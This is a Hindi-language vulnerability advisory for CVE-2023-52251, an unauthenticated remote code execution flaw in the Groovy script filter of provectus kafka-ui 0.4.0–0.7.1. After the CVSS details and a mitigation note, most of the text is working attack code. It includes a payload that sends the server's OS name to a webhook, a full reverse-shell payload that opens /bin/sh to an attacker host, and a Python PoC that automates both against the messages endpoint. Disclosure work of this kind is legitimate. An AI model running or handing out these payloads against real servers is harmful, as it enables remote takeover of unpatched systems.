
CVE-2023-52251 provectus/kafka-ui में एक रिमोट कोड एक्सेक्यूशन (Remote Code Execution) भेद्यता मौजूद है।
इसमें एक रिमोट कोड एक्सेक्यूशन भेद्यता है provectus/kafka-ui। इसे लिखे जाने के समय तक कोई पैच नहीं है, लेकिन विक्रेता को हमारे द्वारा और VINCE की टीम द्वारा सूचित किया गया है, जिसका कोई जवाब नहीं मिला। रिपोर्ट 27 सितंबर, 2023 को provectus को ईमेल और github सुरक्षा दोनों के माध्यम से भेजी गई थी।
हमारा सुझाव है कि न्यूनतम उपाय के रूप में पूरे groovy फ़िल्टर फ़ंक्शन को कमेंट कर दें / प्रमाणीकरण (authentication) जोड़ दें।
| शीर्षक | मान |
|---|---|
| CVSS String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H |
| CVE ID | CVE-2023-52251 |
| CVS विवरण | provectus kafka-ui 0.4.0-0.7.1 में /api/clusters/local/topics/{topic}/messages पर q पैरामीटर के माध्यम से एक रिमोट कमांड एक्सेक्यूशन (RCE) भेद्यता पाई गई |
| CVSS Score | 9.x |
| CWE | CWE-94: Improper Control of Generation of Code ('Code Injection') |
| विक्रेता | Provectus |
| उत्पाद | kafka-ui |
| लिंक | https://github.com/provectus/kafka-ui |
| प्रभावित संस्करण | 0.4.0-0.7.1 |
| पैच किए गए संस्करण | कोई नहीं |
| योगदानकर्ता | Thingstad, BobTheShoplifter |
भेद्यता प्रकार: रिमोट कोड एक्सेक्यूशन (RCE)
प्रभावित सॉफ्टवेयर: Kafka-ui
संस्करण: [0.4.0-0.7.1]
groovy स्क्रिप्ट फ़िल्टर को निष्पादित करने से पहले उसका कोई सैनिटाइज़ेशन नहीं किया जाता है। यह एक हमलावर को सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देता है।
फ़ंक्शन groovyScriptFilter में "script" को निष्पादित करने से पहले सैनिटाइज़ नहीं किया जाता है।
और इसे इंजन में eval किया जा रहा है:
var result = compiledScript.eval(bindings);
भेद्यता को पुन: उत्पन्न करने के लिए विशिष्ट कॉन्फ़िगरेशन विवरण सहित पूर्ण निर्देश।
फ़िल्टर का उपयोग करके:
new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

यह सर्वर के OS नाम के साथ वेबहुक को एक अनुरोध भेजेगा।

इसे और आगे बढ़ाते हुए, हम रिवर्स शेल पाने के लिए निम्नलिखित पेलोड का उपयोग कर सकते हैं:
String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
पेलोड आसानी से https://www.revshells.com/ पर जनरेट किया जा सकता है।

और python में एक PoC भी बनाया गया है:
from time import sleep
import requests
import json
import urllib
import argparse
url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"
def get_clusters():
global clusters
clusterfetch = requests.get(url + '/api/clusters')
clusters = clusterfetch.json()
def get_topics(cluster):
topicfetch = requests.get(
url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
topics = topicfetch.json()['topics']
return topics
def get_webhooks():
webhookfetch = requests.post('https://webhook.site/token')
webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
print('URL Created: ' + webhook)
token_id = webhookfetch.json()['uuid']
headers = {"api-key": webhookfetch.json()['uuid']}
return webhook, token_id, headers
def Exploit():
try:
get_clusters()
cluster = clusters[0]['name']
topics = get_topics(cluster)
topic = topics[0]['name']
webhook, token_id, headers = get_webhooks()
checkpayload = 'new URL("'+webhook+'").text'
rcepayload = 'String host="' + c2 + \
'";int port='+port + \
';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
payload = rcepayload if mode == "rce" else checkpayload
r = requests.get(
url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
print(r.text)
r = requests.get('https://webhook.site/token/' + token_id +
'/requests?sorting=newest', headers=headers)
if r.json()['data'] == []:
print("No rce found")
else:
for request in r.json()['data']:
print(request)
print("Rce found")
except KeyboardInterrupt:
print("KeyboardInterrupt")
pass